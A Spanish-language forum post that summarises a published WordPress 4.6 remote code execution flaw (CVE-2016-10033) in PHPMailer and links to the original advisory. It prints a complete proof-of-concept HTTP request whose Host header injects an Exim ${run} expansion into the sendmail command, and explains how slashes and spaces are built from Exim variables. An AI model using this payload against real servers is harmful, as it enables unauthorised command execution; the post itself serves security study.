Dawid Golunski (@dawid_golunski (https://twitter.com/dawid_golunski)) explica cómo explotar la última vulnerabilidad que ha encontrado en Wordpress (la vulnerabilidad está en PHPMailer).
Usa técnicas nuevas para la explotación, por lo cual es muy recomendable de leer.
El post: https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html (https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html)
Saludos!
El resumen es que si envias esta peticion:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
Ejecutas /usr/bin/touch en /tmp/test, el bug es que el codigo de wordpress usa:
$phpmailer->setFrom( $from_email, $from_name );
Y como es implementado, ese comando se convierte en:
/usr/sbin/sendmail -t -i -fREMITENTE
Donde REMITENTE proviene del valor del valor de la cabecera Host, como nosotros controlamos la cabezera Host, solo debemos poner algo ahi y podemos controlar que escriba cualquier cosa.
La vulnerabilidad despues se convierte en ejecucion de codigo por medio de EXIM MTA http://www.exim.org/ , que es el servidor de correo instalado por default en Debian y Ubuntu.
Este tiene una opcion que se llama "Expansion Testing Mode", o modo de expansión de prueba, que puede ser usado para que EXIM lea y ejecute comandos en un lenguage propietario. Uno de los comandos es run.
Cuando haces:
${run{/bin/true}{yes}{no}}
Ejecuta /bin/true.. Facil
El motivo por el cual el exploit es mas complicado es porque la cabecera de Host no permite diagonales ni espacios, por lo que Dawid uso diagnoales y espacios en otras variables disponibles en el ambiente de EXIM.